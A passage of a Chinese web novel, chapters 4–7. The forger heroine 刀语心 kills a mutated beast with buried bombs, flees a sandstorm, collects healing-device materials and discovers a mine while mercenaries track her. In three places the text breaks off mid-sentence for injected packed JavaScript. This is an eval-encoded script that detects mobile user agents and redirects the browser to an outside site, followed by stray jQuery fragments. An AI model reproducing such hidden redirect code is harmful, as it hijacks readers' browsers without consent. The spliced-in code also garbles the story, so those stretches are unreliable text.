除此之外没再得到其他信息的刀语心打算趁着他们还有力气互相对打时,先在周围做一点准备。 手上能够造成伤害的物件除了武器,就只剩下了炸弹。 每一枚炸弹造成的伤害不等,再算上皮毛减伤,为了以防万一她还是放置二十枚炸弹,炸弹没用上还能回收,但她的命不可以。 刀语心划分区域计算好距离,将一枚枚炸药埋进沙子里,让其够小范围连环爆炸,用来防止周围的风沙太大被掩埋得太深无法触发,或者单个触发也造成不了什么有效伤害。 所有炸弹埋进沙子中后,悬在深黑瞳孔前的目镜中出现了一个个红点,是刀语心标记的炸药位置,以免她自己找不到或者不小心踩到。 光等着敌人自己踩上炸弹有些不保险,还得用什么把炸药远程触发。 只见她掌心中凝结出一条灰色能量线条,是由法力塑成的触发绳,在见到绳子的那一刻刀语心又想起之前偷袭自己未遂的晶影蛛。 或许她也能织网。 虽然身为锻造师她法力值不多,无法操控所有的炸弹,但她只需要编织一个炸弹蛛网控制最关键的几枚,再加上炸弹的连锁爆炸,这样就可以牵一发而动全身。 于是数根灰色线条从她的掌心中不断延伸,附着在沙尘之下的炸弹中。 接下来就等它们打完了。 夜晚的沙漠万里无云,白天被太阳炙烤的灼热感已经全部消失,风中吹来的冷意刺骨。 刀语心趴在高处沙丘的背面探出头,搓搓手然后拉紧了斗篷,想要留住身上仅剩不多的温度。 那两只异兽还在打架。 浩劫过后,全新的规则降临世间,许多动物也突破原有基因链条进化成了异兽,它们与从前的物种已经大不相同,只有少部分的基因残存。 不过身为旧世界食物链顶端的人类也同样在进化。 在悄悄观察的刀语心还以为它们还要再打一段时间,但只见铁角蛮羊触发了强化特性,它的角上附着起先前从未展露过的力量,再用它的职业技能冲刺,从侧面突进猛得往裂地角兽身上撞出两个血窟窿。 随着鲜血从伤口中涌出,裂地角兽的血量在以一个均匀的速度下跌。 “认输吧,然后滚出去。” 铁角蛮羊想让自己的对手知难而退。 它们总体实力其实非常接近,短暂的获胜也只是因为它侥幸触发了血脉中传承的强化天赋。 不过裂地角兽也知道这一点,它并不打算领铁角蛮羊的“好意”。 “该滚出去的是你。” 裂地角兽忍着身上传来的剧痛,趁其不备一个蓄力猛击将铁角蛮羊挑飞,接着高高扬起自己的前蹄踩碎铁角蛮羊的脊骨。 铁角蛮羊的血条断崖式地下跌见底,它死在了裂地角兽的蹄下。 刀语心透过目镜看着裂地角兽的信息不由得在心底惊叹,这家伙是真能藏。 它从血脉中继承了一个狂暴技能和一个恢复天赋,而且因为血脉纯度高,天赋是持续且可控的,不像铁角蛮羊的强化需要运气触发。 但因为等级的差距,裂地角兽只能等待着一个时机让他能够一举反败为胜。 所以它抓住了铁角蛮羊以为自己获胜失去了防备心时的那个瞬间,即便狂暴会让它的伤势加重,但它可以凭借自己的恢复特性去赌一个活下去的机会。 眼看那裂地角兽准备接着踩踏铁角蛮羊的兽体泄愤,刀语心急忙从沙丘上起身,出声阻止了它的行动: “脚下留情啊。” 某不知名锻造大师刀语心曾经说过:异兽的每一个部位都是非常好的材料。 话落只见那裂地角兽恼怒地转头。 是了,先前远处还有一只虫子在不停窥探它们。 “去死!” 它怒吼着朝声音传来的方向释放攻击。 两角之间聚拢的光束打了个空,裂地角兽有些困惑,因为它没有看见任何的踪影。 在它四处张望时,一阵巨大的冲击力凭空而降,随后被刺穿的痛感遍布全身让它面目狰狞。 似是有千万斤压在它的身上,逼迫着它弯折了腿骨,裂地角兽跪在了沙漠之上,它想要起身,想要挣扎,但全都无济于事。 它除了感受此刻的痛苦之外,什么都做不到。 刀语心在出声吸引了它的注意力后,快速移动到另一边,然后乘着夜色从高处起跳,从天而降用横刀贯穿裂地角兽的背部。 这一击毫无技巧可言,是绝对的力量。 身为锻造师刀语心没有任何攻击性技能和天赋,但锻造师的高攻击属性在此刻借由手中横刀打出最高的伤害。 这次是刀语心夺了先机。 裂地角兽龇牙咧嘴拼尽所有的力气狼狈地扭头,想要知道究竟是谁埋伏了它这么久。 它因狂暴而血红的双眼中映出月亮,以及在月光之下的刀语心。 她空无一物的瞳孔仿若无底的深渊,风中飞舞的墨色发丝在裂地角兽的眼中像是锁魂的魔咒,它只觉得自己下一刻就要被缠绕绞死拖进地狱。 25级??这人怎么是25级?它在心中恐惧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哈,原来只是一个锻造师。”先前因为恐惧被忽略的职业此刻成了它张狂的资本。 难怪先前只敢在远处窥视,是因为她根本无法在正面打过它。 哼,二十五级又怎样?人类的锻造师在战斗方面就是彻头彻尾的弱者,这么弱小还单独行动的锻造师就是送给它当口粮的。 转危为安的裂地角兽全然将先前即将死亡的恐惧抛在脑后,它现在只觉得自己能够轻而易举把这人类杀死,让她成为自己的升级经验。 面对一时的失策刀语心也没有气馁,她朝着裂地角兽的方向高抛过去一个物件。 “这又是你的什么小把戏……”不等它说完话,剧烈的爆炸声就打断了它。 只是一颗炸弹,并不致命。 但看着它血条停止恢复,身上也不再拥有恢复buff,刀语心达到了自己的目的。 天赋带来的状态是可以被打断的。 buff消失不见,但还有debuff,刀语心看着裂地角兽身上的毒性debuff,那是她最后一刻用匕首刺向裂地角兽附上的。 每秒扣百分之一的血条血量,按照裂地角兽此刻三分之二的血量,只要拖够一分钟就可以毒杀它。 这点毒性大概需要一瓶中级解毒药剂,或者一个解毒法术,但只要裂地角兽没有注意到,它迟早会死,现在的问题是她该如何撑过一分钟。 “该死的人类,你的生命将为你的行为付出代价!” 被激怒的裂地角兽如此怒吼着。 而后又是一道光束向刀语心射去,她自己堪堪躲过,而斗篷被打了个大洞。 她感受到焦灼边缘传来的温度,在这冷寂的夜里还显得挺温暖的。 刀语心看着面部因过度愤怒而变得扭曲的裂地角兽,面对这个庞然大物虽不明显但她心中还是有些打鼓。 她应该能拖一分钟吧?总觉得有些度秒如年。 5. 第 5 章 身为一个“柔弱”锻造师,正面对上狂暴状态的异兽性价比很低。 于是刀语心朝着自己来时的方向奔去,那里有她埋下的炸弹。 “你想跑?做梦!”异兽声嘶力竭地怒吼着。 身为战士,裂地角兽远程就只会一个发射光束,准度还不高。 为了瞄准,它准备预判刀语心逃跑路径,不过刀语心也预判了它的预判。 裂地角兽只见一直在奔跑的人突然停下转身,还没来得及等它调转角的方向,就有弩箭划破了空气朝它袭来。 刀语心一共发射了三支弩箭。 弩箭头上淬了毒,为了加速毒发过程前两只瞄准的都是目标较大的躯干,最后一箭刀语心瞄准了它的眼睛,不过很可惜,并没有射中。 见此,她在心中叹了一口气。 即便是无数次练习,都无法打破职业壁垒带来的缺陷,她知道,即便再试千万次,她也无法射中,无论是多么不愿,但她只能接受这个结果。 但也有好消息,前两支箭都射中了,这意味着她需要拖延的时间进一步缩短了。 不过裂地角兽带来的威胁依然还在,刚才刀语心朝着它眼睛射弩箭的举动也愈发激怒了它。 “狡猾的人类,我要扒了你的皮!”它在原地朝刀语心吼叫着。 裂地角兽已经说了这么多句话了,再不回就不礼貌了。 “算了吧,你不是没手吗。”冷冽又带着些戏谑的声音穿过夜色回应着发狂的异兽。 狂暴的异兽大吼一声,开始不顾一切地朝着刀语心奔去。 庞大身躯奔走带来的震动让刀语心身形有些摇晃,耳边传来的巨响也让她心跳如鼓。 危急存亡间,刀语心终于来到了先前埋下炸弹的位置,数根灰色线条紧紧缠绕在她手中,掌心也因紧张冒出细汗,她暗色双眸紧盯着震感传来的方向。 在裂地角兽冲上沙丘时,迎接它的就是数枚炸弹,顾不上爆炸还有身上传来的疼痛,它又听见了刀语心的声音: “我给你准备的礼物,你喜欢吗?” 虽然是询问但更本质上是单方面的告知,因为无论喜欢不喜欢它都得接下。 挑衅的话语再次火上浇油,恼羞成怒的裂地角兽也在一次次爆炸中发现无论自己走去哪里,都会有她布下的炸药。 该死啊,该死啊! 它迫切地想要将那个人类碎尸万段,但此刻却无论如何都无法靠近她哪怕一步。 在愤怒与毁灭欲的驱使下裂地角兽丧失了所有理智。 它发动了职业技能铁蹄,前蹄得到力量附加,踩踏后会施加强力冲击波,是个范围攻击,会触发所有炸弹。 “去死!!!”它大吼着扬起蹄子。 本想控制剩下炸弹消耗时间的刀语心见这番近乎同归于尽的举动,迅速将臂甲展开成为更大的护盾,保护着自己从沙丘安全滑下。 而裂地角兽的蹄子也已经落下。 刚才刀语心所在区域传来了强烈力量波动,铁蹄带来的冲击波触发了炸弹,所有炸弹爆炸又引发了更大的冲击。 已经离开一段距离的刀语心也被余波掀翻,在沙子上滚动几圈后,止住了身形。 略显狼狈的她从地上起身,将身上沾染的沙尘抖落。 她抬眼看着刚离开的沙丘被各种力量炸出了一个大洞,周围沙子从高处往下流去,将凹陷补满。 裂地角兽的垂死挣扎加快了自己的死亡。 当刀语心再次走回沙丘上时,见到的就是只剩最后一口气的裂地角兽。 它满身伤痕奄奄一息地躺在沙子之上,带毒的血液将沙子浸染成暗色,每一次呼吸都是它生命最后的倒计时。 失去所有神采的目光看着刀语心。 “该死的人类,该死的……”临死前裂地角兽仍在咒骂,它的怨恨无止无休。 部分异兽和人类是天然敌对,它们身上有人类所需材料,人类于它们而言也是获得经验提升等级的食物。 刀语心可没有什么闲心去听它的遗言,她只担心又生什么事端。 走近后,她用横刀又一次利落地刺入了血肉之中。 这是真正的最后一击。 但彻底杀死裂地角兽的刀语心并不开心。 明明她等级高出它十级,但这场胜利依然是那么的来之不易,她布下炸弹时只是为了以防万一,在最好的设想中她一枚炸弹都用不上。 也难怪连异兽都知道锻造师的弱小,她在心中自嘲。 不过即便一路波折,但最后的胜者依然是她这个弱者。 她开始动手拆解裂地角兽的躯干。 异兽身上可以获得很多有用的材料,它们的角是储存自身法力的容器,虽然大部分异兽都是战士,但一些技能也需要法力加持。 所以角也是用来增加个人法力值和道具法力容量的珍稀材料。 接着刀语心采集好了皮毛与前蹄的腿骨,还有眼珠。 皮毛是很好的防御和保温材料,它前蹄的腿骨有技能的强化,可以用来给道具增加韧性,至于眼珠,则是用来增加预言准确度的媒介。 只可惜血肉被毒液侵蚀,已经不能食用了,不过还有其他无毒血肉。 她将视线投向远处死去已久的铁角蛮羊,将裂地角兽身上材料收集完毕后,刀语心朝着铁角蛮羊走去。 解剖比自己大几倍的异兽躯干实在是太过累人,她先采集铁角蛮羊的角和眼珠,这两样毕竟稀有,又割下大半块铁角蛮羊腿肉后,就准备休息一下。 她记得自己在旧世界的书中看过烤全羊,不过好像烤的是羔羊。 不过铁角蛮羊也是羊,烤了再说。 就地挖了个坑生起了火,一顿操作后,得到了一块看上去熟了的黑褐色腿肉。 刀语心咬了一口。 有点硬,微微苦。 只要能吃对她来说就已经是成功了,不过她感觉好像有什么不对。 终端检测页面给了她答案:血量下降了百分之五。 随即,刀语心看到自己有一栏中毒debuff:扣除百分之五的血量,并附加一定时间的易伤效果。 啊?她好像没毒铁角蛮羊吧? 如果检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237803|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测器在这里,它会贴心地告知刀语心:因为厨艺太差所以带毒。 虽然这点毒并无法将刀语心毒杀,但她还是选择放弃,拿出了之前准备好的干粮。 事实证明没有对比就没有伤害,原本平平无奇的干粮这下好吃多了。 简单休整一番的刀语心扫视一下周围,发现此刻身处的地势有些低,许多沙丘挡住了视野,不能侦察到远处。 她讨厌未知带给她的感觉。 刀语心走上高处的沙丘,准备查看一下四周。 冷风吹起刀语心的衣摆,她根据地图规划之后的路线。 今天一天只收集到了一种所需材料,遇到两只异兽在计划之外,不过也带给她许多有用的东西:材料还有关于绿洲的消息。 她准备在附近找一找异兽们争夺的绿洲,绿洲中有她需要的材料。 现在所处的位置,向北是沙漠更深处,向南是返回无名镇的方向,西边有些危险,那边靠近邪魔域。 那只剩下了东面,刀语心看到地图上标注有一处山脉标识,她抬眼望去,也隐隐约约看到了被夜色笼罩的山脉。 她打算之后就朝那个方向去。 边走边看,不知不觉刀语心又回到了先前裂地角兽死去的地方。 之前的大爆炸改变了这一片沙丘的地形,她这时重返旧地才发现有一处先前没注意到的突起,深埋在沙尘之下。 这是一块切割做工都很精妙的砖块,仔细看去,上面还有暗淡蒙尘的特殊纹路。 刀语心拂开周围的沙子,发现这并不只是一块砖,而是一个建筑的顶部。 先前的爆炸让沙子流下填充凹陷,使得一直被覆盖的建筑露出了一点踪影。 这是什么旧世界的遗址吗?旧世界有这样的东西吗? 她的心中冒出许多疑问,不过现在能够查看的部分实在是太少了,让她无法得到更多的信息来确认自己的猜测。 或许她可以用炸药将这个建筑的一角炸开,然后进入其中一探究竟。 但刀语心只是这么一想,并没有这么做,她的心中还记挂着裴瑛的伤,还有不久之后的邪魔潮。 她不能在这里耗费时间。 她在终端显示的地图上记下了这个地方的坐标,等待着以后有机会一探究竟。 在刀语心准备侦查完最后一个方位就离开时,左眼却看到探查目镜发出警告: “检测到风速变化,疑似天灾形成,等级普通,类型为沙尘暴。” 象征危险的红色字体出现在她的视野之中,并不断闪烁。 普通是最低等级的天灾,但这也不是刀语心可以抗衡的。 夜色是一切阴谋的掩护,如果不是目镜的洞察效果,光凭她自己肉眼很难发现远处有沙尘暴形成,并朝她所在方向袭来。 看着那弥漫整个地平线的无尽漆黑,刀语心脊背生寒,逃离是她当下唯一的念头,她没有任何手段能够和天灾对抗。 即便她还没有将铁角蛮羊身上的材料采集完毕,但活着才是最重要的。 她转头朝着之前看到的山脉方向狂奔。 6. 第 6 章 但刀语心逃离危险的速度远远比不上危险追上她的速度。 起初刀语心还抱着侥幸的心理,说不定风眼移动的方向和她的轨迹不同,但随后她就知道自己大错特错。 才至一半的路途刀语心就察觉到自己周围已经天昏地暗。 无数沙子被剧烈的风扬起,被迫朝着风眼聚拢,处在外围的刀语心不仅要稳住自己不被风速往回扯,还要拉紧衣服遮住口鼻。 她绝对不能掉进风眼之中。 一个人类被天灾吞噬,最好的结果便是留有完整的尸体,最坏的结果则是这世上再无这个人存在的痕迹。 不知为什么那风眼像是找准了刀语心的位置,不断朝着她所在的方向前行,与之相应受到的阻力也越来越大。 离岩洞只有几步,但沙尘暴的风眼也即将追上风变得更加猛烈,让这段路途的距离拉得更长。 横刀被刀语心插进沙地中,帮助着自己一步步前行。 不断在耳边呼啸的风声像是要将刀语心拖进万劫不复的深渊,身上残破的斗篷被风卷起,刀语心身体猛然失控,她俯下身体稳住身形的同时又抽出匕首将皮肤裁断。 她撑着横刀继续向前,用最后的力气逃进岩洞之中,再迅速将自己的臂甲展开成盾牌挡住洞口形成了一个密闭空间。 终于刀语心不再受到狂风的影响。 这场逃命之旅耗费了她许多力气,筋疲力尽的刀语心靠着墙壁长舒了一口气。 不停歇的风声还在作响,被风卷起的石头偶尔也会砸到盾牌上。 确定这岩洞中没有其他威胁后,刀语心将目镜关闭收起,准备清理一下沙尘。 没有光线来源,洞穴中是一片漆黑,刀语心一直紧绷的神经,在还算安全的环境中慢慢消退,合上了疲惫的双眼。 随着时间的流逝,猛烈的风也渐渐消减,只是不知道是消散,还是去了更远的地方。 有一些东西顺着盾牌缝隙挤进了岩洞之中。 那些不知名的生命体,朝着刀语心所在的岩洞深处缓慢爬去,但在还未得逞之前,就被另一股力量吞噬。 幽邃漆黑的力量自刀语心身躯中出现,一直蛰伏在阴影之中。 吃饱喝足后,在刀语心即将醒来之前,那股力量重新藏入了她的身体中。 随后睁开眼的刀语心不着边际地看向生命体死去的位置,但那里已经没有任何的痕迹。 确定外面没有异响后,她将盾牌折叠收起,查看外面的情况。 一切似乎恢复了原样,沙漠中的风会将一切东西存在过的痕迹抹平。 离开岩洞后,刀语心继续向东走,不久后就见到了沙漠中的绿洲。 一片土黄色中出现了代表生机的绿,光是看到刀语心都觉得自己少了一些疲惫。 或许是和裂地角兽丨交战的失手还有之后遇到的沙尘暴消耗了她所有坏运气,之后刀语心一路上都十分顺利。 又或者说这也是另一场风暴来临前的宁静? 毕竟她从不觉得虚无缥缈的好运会一直降临到她身上,厄运还差不多。 走了一段路后,她抵达了绿洲。 侦察四周确认没有什么威胁后,她走入其中。 大概是有水源的缘故,脚下湿润的沙土让刀语心感受到有别于松散沙漠的踏实。 没有了原始异兽圈地为王,此刻在绿洲的所有生物达成了微妙的平衡,互不干扰地在绿洲各取所需。 这两天都是在干燥的沙漠中东奔西走,触碰到水源的那一刻刀语心觉得恍如隔世。 绿洲中生长着许多有用的材料,刀语心先找到清单上的两种,采集到足够的数量后,又采集了一些她缺少的材料,但总体数量并不是很多。 按照她雁过拔毛的收集癖程度,她本该将看得到的所有材料采集殆尽。 只是这附近还存在许多需要绿洲资源生存的生物,或许是刀语心少许的善心,又或许是她担心自己被群起而攻之。 总之,她收集得差不多就停手了。 不过在离开之前,她盯上了一条小蜥蜴。 如果她没判断错的话,这条小蜥蜴应该是寻矿蜥,顾名思义是可以找到矿石的蜥蜴,虽然刀语心手上有地图,但这份地图是从公会手中买来的,普及性高了,稀缺性就少了。 草药还好,植物类成长周期比矿石短得多,但矿石就不一样了,没了就是没了。 为了避免在寻找矿石时扑了个空,她需要做两手准备。 刀语心不打算直接在绿洲动手打破这难得的宁静,她准备跟着寻矿蜥,等到离开一段路程后再动手。 还在喝水的小蜥蜴没有察觉到自己已经大难临头。 获得足够水分的它准备离开,全然没有注意身后有一个鬼鬼祟祟的人影。 看到寻矿蜥钻进了岩石缝隙中躲避太阳直射的高温后,刀语心迅速组装好了一个捕捉陷阱,再将之前的晶影蛛放在陷阱之中。 陷阱装置经过刀语心的改良,会慢慢将诱饵的味道扩散开来。 而闻到食物味道的寻矿蜥不出意外地从岩石缝隙中探出了脑袋,确认附近没有自己的天敌后,它冲进了陷阱之中。 陷阱合上变成了一个刚好困住寻矿蜴的牢笼,等级太低的生物不会口吐人言,刀语心将手放在牢笼之上释放出自己的精神力和它沟通: “帮我找到更多的矿石,不然我就杀了你。” 不知道自己怎么就落入这个人类手中的小蜥蜴,万分惊恐地同意了: “别杀了我!我什么都会做的!” 接着刀语心在蜥蜴身上放上了一个小巧的定位装置,确定自己的腕带上的终端能够接收到寻矿蜥身上传来的信号后,她就打开了陷阱,见那寻矿蜥以一个惊人的速度逃离开了。 不过并不用担心寻矿蜥会想着逃离不干正事,刀语心留存在寻路蜥体内的精神力就是对它最大的威胁,她随时可以控制精神力搅碎它的意识。 虽然她的精神力并不算强,但对付这种个位数等级的小生物还是轻而易举。 看着投影的地图上显示出寻矿蜥离开的路线,看来它还需要一些时间寻找,刀语心打算先去解决清单上其他剩下的材料。 医疗装置分很多种,具有解毒特性的装置只有紫阶以上。 所需材料有七种,分为草药和矿石两类,草药所需四种,矿石所需三种。 矿石还一个没找到,草药倒是快收集齐了。 她昨天得到了炎晶棘,今天在绿洲找到了清泉草和沙金果,只剩下最后一种朝露花,而它在地图上标记的位置距离刀语心所在位置不算远。 朝露花只在朝阳升起的前后开花,此刻时间接近傍晚,所以刀语心并没有急着现在就赶过去。 她在一路上边走边搜寻着其他材料,准备用来对抗之后的邪魔潮。 原本按照最初的计划,她会从商人那里买到一些光明属性的材料,但商人失联了,沙漠中常见的材料也没有光明属性的。 不过即便没有光明属性的材料,她也可以锻造出其他的东西去抵挡邪魔。 她打算先尽可能地收集材料,等到回去再根据已有材料决定锻造什么。 想到邪魔潮,刀语心也回想起了她曾见过的景象。 从前无名镇也经历过几次大大小小的邪魔潮,但那时候的她只在狭小窗户中窥见过一角,烈日高照的天空瞬息间阴云密布,无数扭曲的黑影四散飘荡在空中,袭击着一切生命。 但从前她都是作为旁观者,作为被保护者,这还是刀语心即将第一次亲身经历邪魔潮。 虽然她现在依然可以选择躲在自己的房子里,等待着其他有能力的人来解决一切,但她不想那么做,准确地说是她不想什么都不做。 她不愿将自己的命运交托给旁人,直面邪魔潮是她主动做出的选择。 刀语心询问过裴瑛,如何才能打败邪魔。 得到的答案却是邪魔是无法被打败的,所谓的抵御邪魔潮只是在消耗邪魔的力量,让它们溃散无法再度聚集。 但它们依然存在,早晚会再度袭来,即便她能逃过一次又一次,但如果没有与之对抗的力量,那自己就会永远置之于被动和风险之中。 购买光明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237804|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属性材料也是因为裴瑛和她提过光明属性的攻击确实对邪魔更有用一些,可以让它们消散得更快,但并不代表能够彻底杀死邪魔。 没人知道邪魔的源头究竟是什么,也没有人知道如何才能真正地杀死邪魔。 答案或许藏在邪魔域中,但进去的人没有一个再回来。 神殿的信徒说,邪魔诞生自最原始的黑暗,是世间所有恶的集结体,只有最为纯粹的光明才能让黑暗彻底消散,而这也只有他们信仰的神明能够做到。 不过刀语心可不相信那些满脑子只会祈求神明庇佑的信徒。 再说了,如果那位高高在上的神明大人真的能够轻而易举让邪魔退散,那为什么还会有邪魔域的存在?为什么祂还会容许邪魔与自己平分这个世界? 因为祂也做不到。 现在距离朝露花的开花时间还有很久,她准备先休整一下。 刀语心在一路上捡到了不少材料。 其中有两块质地坚硬的矿石,刀语心准备拿来修补臂甲,在先前的爆炸中有一定程度的受损。 身为25级锻造师,刀语心在10级时获得了职业技能熔炼术,在15级时获得了加速天赋。 熔炼术让她可以直接锤炼材料,不需要经过熔炉的加热,边锤打边熔炼,但代价就是耗费的时间更多,虽然天赋又弥补了这一点缺陷,但平时在家中有熔炉,刀语心一般也用不上这个技能。 不过现在身处野外,这个技能也算是发挥了最大作用。 刀语心拿着自己的锻造锤子一阵敲敲打打,给每一块盾牌都打上了补丁。 修补完毕后,刀语心将臂甲展开看了一下自己的成果,虽然色块不一致有些难看,但能用就行,毕竟出门在外主打实用。 时间在敲敲打打中流逝。 在另一边,雇佣兵们找到了刀语心最开始采集炎晶棘的地方。 “老大,这些炎晶棘全被采集完了,断面还很新,是不久前收集的。”老三仔细观察后说道。 “这是制作紫阶医疗装置所需要的材料之一。” 老五在一旁补充。 “确定就是她没错了。” 这采集的手法也很熟练,避开了根部没有破坏之后的生长,炎晶棘的根部很难判断,只有十分了解的人才能做到。 而佣兵头子知道这些是因为从前运送材料被人指责过。 “昨晚沙尘暴出现过,也不知道她死了没有。”老四在一旁嘀嘀咕咕。 “闭嘴吧你,她可是我们的金主,你最好祈祷她好好活着。” 被老三骂完,老四就在一旁双手合十开始祈祷,嘴里念叨着一切平安。 “看来我们的方向找对了,继续沿着这条路走,要在邪魔潮来之前把她绑走。沙尘暴也不知道什么时候又会出现,今晚我们最好连夜赶路。” 佣兵头子在心中早早打好了算盘,即便裴瑛发现了什么不对劲,邪魔潮一来,也没有时间让她来寻找刀语心。 只要他们在邪魔潮来之前把刀语心绑走,就可以做到万无一失。 毕竟这无名镇中,除了裴瑛,又有谁会在乎刀语心的死活? 佣兵头子和裴瑛是仇敌,他早早顺着裴瑛了解过刀语心的人际关系,早在从前他就有了绑走刀语心的打算,这也是他能快速发觉刀语心身份的原因之一。 他本就与裴瑛有旧怨,而现在他迫不及待地想再添一笔新仇。 比起高风险高回报,用最小的代价换取最大的利益才是他最擅长的事情,而为了保证后续自己的安全,知道这件事的人越少越好。 老五还有用,而变心的老二和没用的老三老四…… 全都可以死在荒漠之中。 在佣兵头子畅想未来时,殊不知身旁一直沉默不语的老二眼神幽深地看着他。 即便他们五人同为一起多年出生入死的队友,但除了老二自己,其他人谁也不知道他已经突破了20级,为了防备老五的洞察技能,老二甚至提前花重金买了一个中级隐匿道具。 至于老二获得的技能究竟是什么? ——是读心术 7. 第 7 章 定好的闹钟响了一秒,就被刀语心关闭。 黎明之前的天依然是漆黑的,在将工具和装备都收好,刀语心就起身离开山洞,查看周围状况无误后,她就朝着地图上标记的地点走去。 朝露花生长在沙漠最高处的峭壁之上。 刀语心在日出之前攀了上去,抵达顶峰的同时也看到了太阳的升起,朝露花也同一时刻开始绽放。 她看着它们垂落闭合的花苞在见到阳光的那一瞬间重新开花,火红色的花瓣绚丽又夺目,散发着勃勃生机。 微小却又蕴含无限生命力的生长,难怪是作为医疗装置的主要材料。 接下来就只剩矿石了。 她将这一片的朝露花全部采集后,开始去寻矿蜥所在的地点。 地图上寻矿蜥的路线,不知道为什么,一直在某个地方打转,那个地方在公会的地图上并没有什么特殊标记,看来只有她亲自过去才能知道究竟发生了什么。 在抵达那个位置后,刀语心看着眼前的矿洞,光在洞口处出现的矿石种类就能让她确认这是一个复合矿洞 而寻矿蜥感受到刀语心的来临,从矿洞深处爬出来到刀语心的身边,围着她着急地转了一圈。 刀语心觉得这条小蜥蜴大概是有什么话想和她说。 她蹲下释放自己的精神力,听见寻矿蜥说: “这里有超多矿石的!之前在这里的恶霸不见了!这些都是我们的了!” 她能明显感受到它精神中传递出来的兴奋情绪。 “谢谢,我会把你身上的精神力抹除。” 说着她将定位装置从寻矿蜥身上取下,又将路上采集到的含水量高的无害草药给了小蜥蜴一些,有了水之后它可以多在矿洞中待一些时间。 寻矿蜥感受到了之前的威胁不复存在,也知道刀语心给予它的善意,它只觉得这人真好,虽然之前用陷阱把它抓起来但它原谅她了。 看着小蜥蜴叼着草药离开了后,刀语心还站在原地,她在给这个矿洞标点定位。 身为锻造师可以什么都不爱,但不可以不爱材料,遇到这么大的复合矿洞是她这次出行最大的意外之喜。 不过现在只凭她一个人的力量是搬不走所有的,下次还可以来。 正在她准备往矿洞更深处走去时,又看到了那条寻矿蜥咬着一块石头朝她过来。 它将那块“石头”放在刀语心脚边时,刀语心才发现自己错了,那才不是什么石头,是一块紫阶烈焰宝石。 “给我的?”刀语心蹲下将那颗赤红色的宝石拿起放在手心,语调犹疑地问着寻矿蜥。 只见寻矿蜥点点头。 向来都是厄运缠身的刀语心,面对好运时她有些不知所措,她身形愣了几秒接受了这个现实后,认真地对着寻矿蜥说: “谢谢你,之后遇到危险可以来找我。” 刀语心现在没什么能用来回报寻矿蜥的善意,所以只能留下一个承诺,也不知道它能不能听懂。 她看见它点点头,然后转身离开了。 目送寻矿蜥的身影消失在矿洞之中,刀语心开始注视着手中这块有手掌半大的烈焰宝石。 她捏起宝石对上矿洞外的日光,光线透过宝石再在其内部折射数次后,璀璨的赤色光芒照映入她的瞳孔。 同时指尖传来了一股热意。 不同于沙漠灼热难耐的高温,刀语心从中感受到了一种温和。 这是由宝石自身散发出的能量,浩劫过后的世界,宝石能够发挥出一种特定的增益场,而烈焰宝石是一块纯粹的火属性宝石,随增益而来的感受就是暖意。 把玩片刻后,刀语心将烈焰宝石放在了一个盒子中收起,她在洞口布置了一个隐蔽的热感应触发器后,朝着矿洞内走去。 她如今是25级,经过之前每个等级提供的属性点加成后,身体各项指标都得到了很大的提升。 所以即便矿洞中没有任何光源,但她依然能看清周围的一切。 她边走向矿洞深处,边思考着能够根据这块宝石锻造出怎样的道具,不过很快她就没空想其他的了,眼前各式各样的矿石占据了她的思绪。 就算直接忽略掉所有的白阶矿石,剩下的蓝阶也有很大一部分,这还只是开始,矿洞更深处说不定有紫阶的矿石。 刀语心从终端中调出一个页面,页面上会实时记录下她的行走路线,不止记录二维平面,还可以根据刀语心此刻的高度绘制出垂直坐标,而这样就可以制作出一份简易的立体地图。 而她则是负责标注,将自己见到的每一种矿石丝毫不落且详细地在地图上注释。 她有预感自己能在这里找全医疗装置所需要的三种矿石。 矿洞很大,路线也错综复杂。 她用了一下午的时间也只绘制出整个矿洞的三分之一,但幸运的是她已经找到了医疗装置所需的三种矿石。 又花费了一些时间算出炸弹如何布置才不会导致矿洞坍塌后,刀语心开始将每一枚炸弹放到指定地点。 在三次巨大的爆炸声后,医疗装置所需的材料就已经集齐。 在刀语心思考要用有限的炸药炸哪些矿石,才能使利益最大化时,她不知道自己制造的爆炸声引来了一些贪得无厌的鬣狗。 “老大,她就在矿洞里!” 老三言语中全是兴奋,他只觉得未来的美好生活在朝他招手。 本来他们要朝另一面的峭壁去,半路却恰好听到了这里传来的爆炸声。 “现在还不能确定是不是她。”佣兵头子虽然也庆幸自己的幸运,但也保持着清醒,理智判断着现在的情况。 在没有亲眼见到刀语心之前,不排除还有其他人在沙漠炸矿的可能性。 “老五在洞口留守,我们四个进去。如果见到是她就活捉,如果不是就杀了。” 佣兵头子说出了计划。 “没问题!”老四抬着枪就第一个冲进了矿洞中,与此同时,刀语心的腕带传出警报声。 有人来了。 她放在矿洞口的热感应触发器感应到人体的温度后,就会给她的腕带传递了信号。 而警报声重复了五次,有五个人,是那些雇佣兵? 他们是来找矿石,还是来找她的? 刀语心刚在一片蓝阶矿石上布置好了炸弹,此刻她只庆幸自己还没来得及消耗完所有的炸弹。 她垂眸思考了片刻,很快就做好了打算。 她设想不同目的的人来到矿洞的反应。 如果是来找材料的,他们在确定矿洞很大后就不会继续深入,会选择先带走洞 